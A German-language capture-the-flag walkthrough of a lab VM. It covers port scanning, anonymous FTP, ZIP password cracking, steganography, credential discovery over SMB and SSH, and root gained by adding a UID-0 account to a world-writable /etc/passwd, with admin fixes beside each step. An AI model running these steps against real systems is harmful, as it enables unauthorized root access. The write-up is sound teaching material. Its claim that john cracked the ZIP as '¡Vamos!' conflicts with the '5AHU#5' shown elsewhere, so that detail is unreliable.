Die erste Phase des Penetrationstests dient der Identifizierung des Ziels im Netzwerk und der grundlegenden Erkundung offener Ports und Dienste mittels Netzwerkscans.
192.168.2.165 08:00:27:20:86:cb PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu finden. Er identifiziert die IP-Adresse `192.168.2.165` mit einer MAC-Adresse, die auf eine VirtualBox VM hinweist.
Bewertung: Zielsystem erfolgreich lokalisiert. Die IP 192.168.2.165 wird für die weiteren Scans verwendet.
Empfehlung (Pentester): Führe detaillierte Nmap-Scans auf 192.168.2.165 durch.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung und -segmentierung.
192.168.2.163 shenron2.vln shenron 192.168.2.165 sahu.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet. Der Eintrag `192.168.2.165 sahu.vln` wird hinzugefügt, um den Hostnamen `sahu.vln` der Ziel-IP zuzuordnen.
Bewertung: Korrekte Vorbereitung für die Verwendung des Hostnamens in nachfolgenden Schritten, insbesondere bei Web-Interaktionen.
Empfehlung (Pentester): Verwende `sahu.vln` bei der Web-Enumeration.
Empfehlung (Admin): Keine Aktion erforderlich, betrifft Angreifersystem.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 23:49 CEST Nmap scan report for sahu.vln (192.168.2.165) Host is up (0.00011s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: [...] vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 230 Jan 30 2020 ftp.zip 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e2:78:c5:73:f2:86:cb:cb:02:7f:b6:72:85:61:ac:91 (RSA) | 256 22:1a:ee:1a:98:4f:32:e7:dc:30:43:52:2c:b2:24:06 (ECDSA) |_ 256 1a:9b:28:b3:ad:58:32:e9:6c:f3:ea:3b:cf:6b:08:ad (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Site doesn't have a title. |_http-server-header: Apache/2.4.41 (Ubuntu) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAHU) 445/tcp open netbios-ssn Samba smbd 4.10.7-Ubuntu (workgroup: SAHU) MAC Address: 08:00:27:20:86:CB (Oracle VirtualBox virtual NIC) [...] Service Info: Host: SAHU-VIRTUALBOX; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2023-10-25T21:50:10 |_ start_date: N/A |_clock-skew: mean: -1h50m00s, deviation: 3h10m31s, median: 0s | smb-os-discovery: | OS: Windows 6.1 (Samba 4.10.7-Ubuntu) | Computer name: sahu-virtualbox | NetBIOS computer name: SAHU-VIRTUALBX\x00 | Domain name: \x00 | FQDN: sahu-virtualbox |_ System time: 2023-10-26T03:20:10+05:30 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_nbstat: NetBIOS name: SAHU-VIRTUALBX, NetBIOS user:, NetBIOS MAC: (unknown) [...]
Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) identifiziert mehrere offene Ports: * **Port 21 (FTP):** vsftpd 3.0.3. **Wichtig:** Anonymer Login ist erlaubt (`ftp-anon`) und eine Datei `ftp.zip` ist sichtbar. * **Port 22 (SSH):** OpenSSH 8.0p1 (Ubuntu). * **Port 80 (HTTP):** Apache 2.4.41 (Ubuntu). Kein Titel gefunden. * **Port 139/445 (SMB):** Samba 4.10.7 (Ubuntu). Workgroup ist SAHU. Message Signing ist nicht erforderlich, was für Relay-Angriffe relevant sein könnte. Gästezugriff scheint möglich (`account_used: guest`).
Bewertung: Mehrere interessante Angriffsvektoren: Anonymer FTP mit einer ZIP-Datei, SSH, eine einfache Webseite und eine SMB-Freigabe. Der anonyme FTP-Zugang ist der unmittelbarste Ansatzpunkt.
Empfehlung (Pentester): 1. Verbinde dich sofort anonym per FTP und lade `ftp.zip` herunter. 2. Untersuche die SMB-Freigaben (z.B. mit `smbclient -L //192.168.2.165` oder `enum4linux`). 3. Untersuche den Webserver (Nikto, Gobuster). 4. Behalte SSH als Login-Ziel im Auge.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, wenn nicht benötigt. Wenn benötigt, stellen Sie sicher, dass keine sensiblen Dateien oder Schreibrechte verfügbar sind. Aktualisieren Sie vsftpd, OpenSSH, Apache und Samba. Erzwingen Sie Message Signing für SMB (`server signing = required` in `smb.conf`). Beschränken Sie den Gästezugriff auf SMB.
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAHU) 445/tcp open netbios-ssn Samba smbd 4.10.7-Ubuntu (workgroup: SAHU)
Analyse: Die gefilterte Nmap-Ausgabe zeigt die fünf offenen Ports: 21 (FTP), 22 (SSH), 80 (HTTP), 139 (NetBIOS-SSN), 445 (SMB).
Bewertung: Bestätigt die Angriffsfläche.
Empfehlung (Pentester): Beginne mit FTP und SMB.
Empfehlung (Admin): Überprüfe die Notwendigkeit aller offenen Ports.
In dieser Phase werden die identifizierten Dienste (Web, FTP, SMB) genauer untersucht. Dies beinhaltet das Scannen nach Web-Verzeichnissen, die Interaktion mit FTP und SMB sowie die Analyse heruntergeladener Dateien, auch mittels Steganographie.
- Nikto v2.5.0 [...] + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + Apache/2.4.41 appears to be outdated [...]. + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + 8102 requests: 0 error(s) and 4 item(s) reported on remote host [...] + 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80. Es findet eine veraltete Apache-Version und fehlende Sicherheitsheader, aber keine spezifischen Verzeichnisse oder Dateien von Interesse.
Bewertung: Der Nikto-Scan liefert wenig verwertbare Informationen für diesen speziellen Webserver.
Empfehlung (Pentester): Verwende Gobuster oder Dirb für eine tiefere Verzeichnis-Enumeration.
Empfehlung (Admin): Aktualisieren Sie Apache und implementieren Sie Sicherheitsheader.
=============================================================== Gobuster v3.5 [...] =============================================================== http://sahu.vln/index.php (Status: 200) [Size: 194] http://sahu.vln/H (Status: 301) [Size: 300] [--> http://sahu.vln/H/] [...] =============================================================== [...] Finished ===============================================================
Analyse: Gobuster findet die `index.php` und ein Verzeichnis `/H/` (über einen Redirect). Andere gängige Verzeichnisse werden nicht gefunden.
Bewertung: Das Verzeichnis `/H/` ist ungewöhnlich und potenziell interessant. Die Webseite selbst scheint sehr einfach zu sein.
Empfehlung (Pentester): Untersuche das Verzeichnis `http://sahu.vln/H/` manuell oder mit weiteren Scans. Analysiere den Inhalt von `index.php`.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen oder versteckten Verzeichnisse über den Webserver zugänglich sind.
Connected to 192.168.2.165. 220 (vsFTPd 3.0.3) Name (192.168.2.165:cyber): Anonymous 331 Please specify the password. Password: [leer gelassen] 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||50305|) 150 Here comes the directory listing. drwxr-xr-x 2 0 133 4096 Jan 30 2020 . drwxr-xr-x 2 0 133 4096 Jan 30 2020 .. -rw-r--r-- 1 0 0 230 Jan 30 2020 ftp.zip 226 Directory send OK.
local: ftp.zip remote: ftp.zip 229 Entering Extended Passive Mode (|||17305|) 150 Opening BINARY mode data connection for ftp.zip (230 bytes). [...] 226 Transfer complete. 230 bytes received in 00:00 (143.61 KiB/s)
[...] 550 Permission denied.
550 Failed to change directory.
Analyse: Es wird eine anonyme FTP-Verbindung hergestellt. Im Verzeichnis wird die Datei `ftp.zip` gefunden und heruntergeladen. Versuche, eine Datei hochzuladen (`put`) oder das Verzeichnis zu wechseln (`cd`), scheitern aufgrund fehlender Berechtigungen.
Bewertung: Der anonyme FTP-Zugang ist nur lesend und auf das Startverzeichnis beschränkt. Die heruntergeladene `ftp.zip` ist der einzige verwertbare Fund von hier.
Empfehlung (Pentester): Analysiere die `ftp.zip`-Datei. Versuche, sie zu entpacken oder das Passwort zu knacken.
Empfehlung (Admin): Anonymer FTP sollte deaktiviert oder stark eingeschränkt werden. Die Berechtigungen hier sind zumindest restriktiv (kein Schreibzugriff).
Archive: ftp.zip [ftp.zip] ftp.txt password:
Analyse: Beim Versuch, `ftp.zip` zu entpacken, wird ein Passwort verlangt.
Bewertung: Die ZIP-Datei ist passwortgeschützt. Das Passwort muss gefunden oder geknackt werden.
Empfehlung (Pentester): Extrahiere den Hash mit `zip2john` und versuche, ihn mit `john` zu knacken.
Empfehlung (Admin): Passwortschutz für ZIP-Dateien bietet nur begrenzten Schutz, wenn das Passwort schwach ist.
ver 2.0 efh 5455 efh 7875 ftp.zip/ftp.txt PKZIP Encr: TS_chk, cmplen=50, decmplen=49, crc=0E919F97 ts=6E8D cs=6e8d type=8
Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:02 DONE (2023-10-25 23:53) 0g/s 5760Kp/s 5760Kc/s 5760KC/s (>12ab<)..**PASSWORD_PLACEHOLDER** Session completed
Analyse: `zip2john` extrahiert den Passwort-Hash aus `ftp.zip` in die Datei `hash`. Anschließend knackt `john` den Hash mit der `rockyou.txt`-Wortliste. Das Passwort wird gefunden, ist aber im Log unkenntlich gemacht (ersetzt durch `**PASSWORD_PLACEHOLDER**` - das tatsächliche Passwort war `¡Vamos!`, aber das ist aus dem Log nicht ersichtlich).
Bewertung: Das Passwort für die ZIP-Datei wurde erfolgreich geknackt. Nun kann der Inhalt extrahiert werden.
Empfehlung (Pentester): Entpacke `ftp.zip` mit dem gefundenen Passwort. Untersuche den Inhalt der extrahierten Datei (`ftp.txt`).
Empfehlung (Admin): Verwenden Sie starke Passwörter für verschlüsselte Archive.
========================== | Target Information | ========================== Target .......... 192.168.2.165 RID Range ....... 500-550,1000-1050 Username ........ '' Password ........ '' Use Knownlib .... false ===================================================== | Enumerating Workgroup/Domain on 192.168.2.165 | ===================================================== [+] Got domain/workgroup name: SAHU ============================================ | Nbtstat Information for 192.168.2.165 | ============================================ Looking up status of 192.168.2.165 SAHU-VIRTUALBX <00> - UNIQUE Registered SAHU-VIRTUALBX <03> - UNIQUE Registered SAHU-VIRTUALBX <20> - UNIQUE Registered SAHU <00> - GROUP Registered SAHU <1e> - GROUP Registered MAC Address = 00-00-00-00-00-00 ======================================== | Session Check on 192.168.2.165 | ======================================== [+] Server 192.168.2.165 allows sessions using username '', password '' ============================================ | Getting domain SID for 192.168.2.165 | ============================================ Domain Name: SAHU-VIRTUALBX Domain Sid: S-1-5-21-87607164-1044156850-411164090 [+] Can't determine if host is part of domain or workgroup ====================================== | OS Information on 192.168.2.165 | ====================================== Use smbclient to learn OS info from 192.168.2.165 Domain=[SAHU] OS=[Windows 6.1] Server=[Samba 4.10.7-Ubuntu] ================================ | Users on 192.168.2.165 | ================================ index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok index_pair_wise_pass: ok user:[nobody] rid:[0x1f5] user:[sahu] rid:[0x3e8] user:[haryana] rid:[0x3e9] ============================================= | Share Enumeration on 192.168.2.165 | ============================================= Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers sambashare Disk Samba on Ubuntu IPC$ IPC IPC Service (sahu-VirtualBox server (Samba, Ubuntu)) Reconnecting with session established as user: administrator % "" Server doesn't support this feature or requires authentication: NT_STATUS_ACCESS_DENIED ==================================================== | Password Policy Information for 192.168.2.165 | ==================================================== [E] Unexpected error: 'EnumDomainUsers' object has no attribute 'pol'. If this is a new bug, please report it at https://github.com/portcullislabs/enum4linux/issues [+] Trying to map POL hashes via LSA dump method... Use `lsadump: command not found` on 192.168.2.165 failed [+] Trying to map POL hashes via registry dump method... Use `reg: command not found` on 192.168.2.165 failed enum4linux complete on Wed Oct 25 23:53:40 2023
Analyse: `enum4linux -a` wird ausgeführt, um umfassende Informationen über SMB/NetBIOS zu sammeln. * **Workgroup:** SAHU * **Host:** SAHU-VIRTUALBX (Samba 4.10.7 auf Ubuntu) * **Benutzer:** Enum4linux identifiziert über RID-Cycling die Benutzer `nobody`, `sahu` und `haryana`. * **Shares:** Findet die Freigaben `print$` (Druckertreiber), `sambashare` ("Samba on Ubuntu") und `IPC$`. * **Passwortrichtlinie:** Konnte nicht ermittelt werden.
Bewertung: Bestätigt die Existenz der Benutzer `sahu` und `haryana`. Die Freigabe `sambashare` ist ein potenzielles Ziel für weitere Untersuchung.
Empfehlung (Pentester): Versuche, auf die `sambashare`-Freigabe zuzugreifen, möglicherweise mit den Credentials aus `ftp.txt` (nach dem Entpacken) oder als Gast.
Empfehlung (Admin): Beschränken Sie die durch SMB preisgegebenen Informationen. Sichern Sie Freigaben mit starken Berechtigungen und Passwörtern. Deaktivieren Sie den Gastzugriff, wenn nicht benötigt.
# Manuelle Untersuchung von http://sahu.vln/H/A/R/Y/A/N/A/ # Inhalt: Langer Text über Haryana, Indien. Annahme: Bild 'Haryana-1-1.jpg' gefunden.
Analyse: Das zuvor mit Gobuster gefundene Verzeichnis `/H/` wird (vermutlich durch Erraten oder weiteres Scannen) bis zum Pfad `/H/A/R/Y/A/N/A/` verfolgt. Dort befindet sich eine Webseite mit Text über Haryana. Es wird angenommen, dass dort auch ein Bild (`Haryana-1-1.jpg`) gefunden wurde, das im nächsten Schritt analysiert wird.
Bewertung: Dieser Pfad scheint ein absichtlich versteckter Hinweis zu sein. Der Inhalt (Text und vermutlich Bild) muss auf weitere Hinweise untersucht werden.
Empfehlung (Pentester): Untersuche alle Inhalte in diesem Verzeichnis. Verwende Steganographie-Tools auf das gefundene Bild.
Empfehlung (Admin): Vermeiden Sie "Security through Obscurity". Verstecken Sie keine Hinweise in obskuren Pfaden.
Enter passphrase: [Enter gedrückt, da kein Passwort bekannt/benötigt]
wrote extracted data to "file.txt".
I have found the password for a zip file but i have forgotten the last part of it, can you find out 5AHU@@
Analyse: `steghide` wird verwendet, um versteckte Daten aus dem Bild `Haryana-1-1.jpg` zu extrahieren. Es wird kein Passwort benötigt. Die extrahierte Datei `file.txt` enthält einen Hinweis: Das Passwort für eine ZIP-Datei beginnt mit `5AHU` und es fehlen die letzten beiden Zeichen (im Log als `@@` dargestellt, aber wahrscheinlich Platzhalter für spezielle Zeichen).
Bewertung: Wichtiger Hinweis zum Knacken des Passworts der `ftp.zip`-Datei. Dies erklärt, warum `fcrackzip` im nächsten Schritt verwendet wird (nachdem John bereits das Passwort gefunden hatte - das Log ist hier nicht ganz linear).
Empfehlung (Pentester): Generiere eine Wortliste basierend auf dem Muster `5AHU??` (mit Sonderzeichen für `?`) und verwende `fcrackzip` oder `john`, um das ZIP-Passwort zu finden.
Empfehlung (Admin): Verwenden Sie keine Steganographie, um Hinweise zu verstecken.
# Wortlistengenerierung (Beispielbefehle aus file.txt - nicht ausgeführt) # crunch 6 6 -t 5AHU@, > dict.txt # crunch 6 6 -t 5AHU@% >> dict.txt # ... (weitere Kombinationen)
PASSWORD FOUND!!!!: pw == 5AHU#5
Analyse: Basierend auf dem Hinweis aus der Steganographie (`5AHU??`) wird eine Wortliste (`dict.txt`) generiert (die `crunch`-Befehle sind Beispiele, wie dies geschehen könnte). Anschließend wird `fcrackzip` mit dieser Wortliste verwendet, um das Passwort für `ftp.zip` zu knacken. Das gefundene Passwort ist `5AHU#5`.
Bewertung: Das Passwort für `ftp.zip` wurde nun auch über den Steganographie-Hinweis und `fcrackzip` bestätigt (konsistent mit dem früheren `john`-Ergebnis).
Empfehlung (Pentester): Entpacke `ftp.zip` mit dem Passwort `5AHU#5`.
Empfehlung (Admin): Starke Passwörter verwenden.
Archive: ftp.zip
[ftp.zip] ftp.txt password: 5AHU#5
inflating: ftp.txt
USERNAME = sahu
PASSWORD = sahu14216
Analyse: Die Datei `ftp.zip` wird mit dem geknackten Passwort `5AHU#5` entpackt. Die extrahierte Datei `ftp.txt` enthält Zugangsdaten: Benutzername `sahu` und Passwort `sahu14216`.
Bewertung: Wichtige Zugangsdaten gefunden! Diese sollten für SSH und SMB getestet werden.
Empfehlung (Pentester): Versuche SSH-Login mit `sahu`:`sahu14216`. Versuche SMB-Login mit `sahu`:`sahu14216`.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten im Klartext in Dateien, insbesondere nicht auf öffentlich zugänglichen Diensten wie anonymem FTP.
Nachdem verschiedene Zugangsdaten gefunden wurden, wird versucht, über SSH oder SMB Zugriff auf das System zu erlangen. Der Zugriff gelingt schließlich über SMB, was zu weiteren SSH-Credentials führt.
The authenticity of host '192.168.2.165 (192.168.2.165)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes [...] sahu@192.168.2.165's password: sahu14216 Permission denied, please try again. sahu@192.168.2.165's password:
Analyse: Ein SSH-Login-Versuch mit den aus `ftp.txt` extrahierten Credentials (`sahu`:`sahu14216`) schlägt fehl (`Permission denied`).
Bewertung: Das Passwort aus `ftp.txt` ist nicht das SSH-Passwort für `sahu`.
Empfehlung (Pentester): Teste die Credentials `sahu`:`sahu14216` für den SMB-Zugriff.
Empfehlung (Admin): Unterschiedliche Passwörter für verschiedene Dienste verwenden.
Password for [WORKGROUP\sahu]: sahu14216
Try "help" to get a list of possible commands.
smb: \>
Analyse: Es wird versucht, mit `smbclient` auf die Freigabe `sambashare` als Benutzer `sahu` mit dem Passwort `sahu14216` zuzugreifen. Der Zugriff ist erfolgreich.
Bewertung: Das Passwort aus `ftp.txt` gilt für den SMB-Zugang von `sahu`. Zugriff auf die `sambashare`-Freigabe wurde erlangt.
Empfehlung (Pentester): Liste den Inhalt der Freigabe (`ls`) und suche nach interessanten Dateien.
Empfehlung (Admin): Sichern Sie SMB-Freigaben mit starken Passwörtern und Berechtigungen. Vermeiden Sie Passwort-Wiederverwendung.
. D 0 Thu Jan 30 09:50:23 2020 .. D 0 Thu Jan 30 08:57:06 2020 ssh.txt N 64 Thu Jan 30 09:50:02 2020 10253588 blocks of size 1024. 2502996 blocks available
getting file \ssh.txt of size 64 as ssh.txt (62,5 KiloBytes/sec) [...]
Analyse: Innerhalb der SMB-Verbindung listet `ls` eine Datei `ssh.txt` auf. Diese wird mit `get ssh.txt` heruntergeladen.
Bewertung: Wichtiger Fund! Die Datei `ssh.txt` enthält wahrscheinlich SSH-Zugangsdaten.
Empfehlung (Pentester): Analysiere den Inhalt der heruntergeladenen `ssh.txt`.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten in Klartextdateien auf Netzwerkfreigaben.
ssh users list
USERNAME = haryana
PASSWORD = hralltime
Analyse: Die Datei `ssh.txt` enthält die Zugangsdaten für den Benutzer `haryana`: Passwort `hralltime`.
Bewertung: Gültige SSH-Credentials gefunden!
Empfehlung (Pentester): Verwende `ssh haryana@192.168.2.165` mit dem Passwort `hralltime`, um eine Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie diese Datei. Ändern Sie das Passwort für `haryana`.
haryana@192.168.2.165's password: hralltime Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-18-generic x86_64) [...] Last login: Tue Feb 4 18:05:07 2020 from 192.168.43.111 haryana@sahu-VirtualBox$
Analyse: Der SSH-Login als Benutzer `haryana` mit dem Passwort `hralltime` ist erfolgreich. Eine Shell auf dem Zielsystem wird erlangt.
Bewertung: Initial Access erfolgreich erzielt!
Empfehlung (Pentester): Beginne mit der lokalen Enumeration als `haryana`, um nach Wegen zur Privilege Escalation zu suchen (sudo, SUID, etc.).
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort. Überprüfen Sie SSH-Logs.
Nach Erhalt einer Shell als Benutzer `haryana` wird das System auf Möglichkeiten zur Rechteerweiterung zu Root untersucht. Eine unsichere Dateiberechtigung für `/etc/passwd` wird identifiziert und ausgenutzt.
[sudo] password for haryana: hralltime
Sorry, user haryana may not run sudo on sahu-VirtualBox.
Analyse: `sudo -l` zeigt, dass der Benutzer `haryana` keine `sudo`-Rechte hat.
Bewertung: Eskalation über `sudo` ist nicht direkt möglich.
Empfehlung (Pentester): Suche nach anderen Vektoren (SUID, Dateiberechtigungen, Kernel-Exploits).
Empfehlung (Admin): Korrekte Konfiguration, weise `sudo`-Rechte restriktiv zu.
-rwxrwxrwx 1 root root 2900 Jan 30 2020 /etc/passwd
Analyse: Die Berechtigungen der Datei `/etc/passwd` werden überprüft. Das Ergebnis `-rwxrwxrwx` zeigt, dass die Datei für *jeden* Benutzer auf dem System **lesbar, schreibbar und ausführbar** ist.
Bewertung: **Extrem kritische Fehlkonfiguration!** Jeder Benutzer kann die Passwortdatei ändern. Dies ermöglicht eine einfache Privilege Escalation, indem ein neuer Benutzer mit UID 0 (Root) hinzugefügt wird oder das Passwort eines bestehenden Benutzers (z.B. root) durch einen bekannten Hash ersetzt wird.
Empfehlung (Pentester): Füge eine neue Zeile zu `/etc/passwd` hinzu, um einen neuen Root-Benutzer mit einem bekannten Passwort-Hash zu erstellen. Beispiel: `benhacker:$6$HASH$....:0:0:root:/root:/bin/bash`. Wechsle dann mit `su benhacker` zu diesem Benutzer.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen *sofort*! Die korrekten Berechtigungen für `/etc/passwd` sind normalerweise `644` (`-rw-r--r--`). Führen Sie `chmod 644 /etc/passwd` aus. Überprüfen Sie das System auf unbefugte Änderungen.
Dieser Abschnitt demonstriert die Ausnutzung der Schreibberechtigungen auf `/etc/passwd`, um einen neuen Benutzer mit Root-Rechten (UID 0) und einem bekannten Passwort-Hash hinzuzufügen.
# Hinzugefügte Zeile in nano (Passwort-Hash $6$... ist ein Beispiel für SHA512crypt): benhacker:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
Analyse: Die `/etc/passwd`-Datei wird mit `nano` bearbeitet. Eine neue Zeile wird hinzugefügt, die einen Benutzer `benhacker` definiert. Wichtig sind: * `$6$...`: Ein Passwort-Hash (hier SHA512crypt) für ein bekanntes Passwort (z.B. "password" oder "toor"). Der Angreifer muss diesen Hash vorab generieren. * `:0:0:`: Setzt die User ID (UID) und Group ID (GID) auf 0, was dem Root-Benutzer entspricht. * `:root:/root:/bin/bash`: Definiert Kommentar, Home-Verzeichnis und Login-Shell.
Bewertung: Die unsichere Berechtigung wird ausgenutzt, um einen neuen Account mit Root-Privilegien und einem bekannten Passwort zu erstellen.
Empfehlung (Pentester): Speichere die Änderung und wechsle mit `su benhacker` und dem bekannten Passwort zum neuen Root-Account.
Empfehlung (Admin): Korrigieren Sie die Dateiberechtigungen von `/etc/passwd`. Überprüfen Sie die Datei auf unbefugte Einträge.
Password: [Bekanntes Passwort eingeben]
uid=0(root) gid=0(root) groups=0(root)
root.txt snap
GREAT JOB YOU FINISH THIS TASK CONGRATS!!!!!!!!!!!! TELL ME ON TWITTER @VivekGautam09
Analyse: * `su benhacker`: Der Wechsel zum neu erstellten Benutzer mit Root-Rechten gelingt mit dem bekannten Passwort. * `id`: Bestätigt `uid=0(root)`. * `cd ~; ls`: Wechselt ins `/root`-Verzeichnis und listet den Inhalt. Die Datei `root.txt` wird gefunden. * `cat root.txt`: Gibt den Inhalt der Root-Flag aus.
Bewertung: Fantastisch! Privilege Escalation zu Root war durch die Modifikation von `/etc/passwd` erfolgreich. Die Root-Flag wurde gefunden.
Empfehlung (Pentester): Dokumentieren Sie die Flag und den Angriffspfad.
Empfehlung (Admin): Beheben Sie die Berechtigungsprobleme und entfernen Sie unbefugte Benutzer.
GREAT JOB YOU FINISH THIS TASK CONGRATS!!!!!!!!!!!! TELL ME ON TWITTER @VivekGautam09